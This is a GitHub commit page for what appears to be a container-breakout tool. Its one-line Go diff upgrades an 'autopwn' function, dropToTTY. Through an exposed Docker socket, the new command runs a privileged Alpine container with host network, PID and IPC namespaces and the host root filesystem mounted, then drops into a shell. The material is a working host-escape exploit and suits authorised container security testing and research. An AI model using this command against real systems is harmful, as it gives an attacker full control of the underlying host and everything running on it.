Skip to content

Commit

Permalink
updating autopwn TTY docker command to include moar power
Browse files Browse the repository at this point in the history
  • Loading branch information
brompwnie committed Sep 13, 2019
1 parent 78e1171 commit 38ea1cb
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion main.go
Expand Up @@ -164,7 +164,7 @@ func downloadFile(filepath string, url string) error {

func dropToTTY(dockerSockPath string) error {
// this code has been copy+pasted directly from https://github.com/kr/pty, it's that awesome
cmd := "./docker/docker -H unix://" + dockerSockPath + " run -t -i -v /:/host alpine:latest /bin/sh"
cmd := "./docker/docker -H unix://" + dockerSockPath + " run -ti --privileged --net=host --pid=host --ipc=host -v /:/host alpine:latest /bin/sh"
fmt.Println(cmd)
c := exec.Command("sh", "-c", cmd)

Expand Down

0 comments on commit 38ea1cb

Please sign in to comment.